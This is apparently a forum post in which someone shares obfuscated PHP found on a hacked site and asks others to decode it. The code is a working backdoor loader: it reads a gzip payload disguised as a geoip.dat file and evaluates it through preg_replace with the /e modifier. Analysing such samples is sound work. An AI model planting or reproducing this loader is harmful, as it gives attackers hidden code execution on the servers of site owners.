Found this code in hacked site. Anyone can read it?

gistfile1.txt

<?php

function _1202589136($i)
	{
	$a = Array(
		'RE' . '9DVU1FTl' . 'RfUk9' . 'P' . 'V' . 'A' . '=' . '=',
		'L3V' . 'w' . 'bG' . '9hZF' . '9' . 'maWx' . 'lc' . 'y9nZW9pcC5k' . 'YXQ=',
		'X' . 'yg' . 'u',
		'Kilf',
		'' . 'ZQ==',
		'X19fREFUQURJ' . 'U' . 'g' . '==',
		'' . 'Lw=' . '=',
		'c' . 'g' . '==',
		'Z' . 'Q==',
		'dg==',
		'YQ==',
		'b' . 'Cg' . 'n',
		'Jyk7'
	);
	return base64_decode($a[$i]);
	}

$_0 = $_SERVER[_1202589136(0) ] . _1202589136(1);

if (file_exists($_0))
	{
	$_1 = _1202589136(2);
	$_1.= _1202589136(3);
	$_1.= _1202589136(4);
	define(_1202589136(5) , dirname($_0) . _1202589136(6));
	$_2 = fopen($_0, _1202589136(7));
	$_3 = fread($_2, filesize($_0));
	fclose($_2);
	$_4 = @gzuncompress($_3);
	if ($_4 !== false) preg_replace($_1, _1202589136(8) . _1202589136(9) . _1202589136(10) . _1202589136(11) . $_4 . _1202589136(12) , NULL);
	}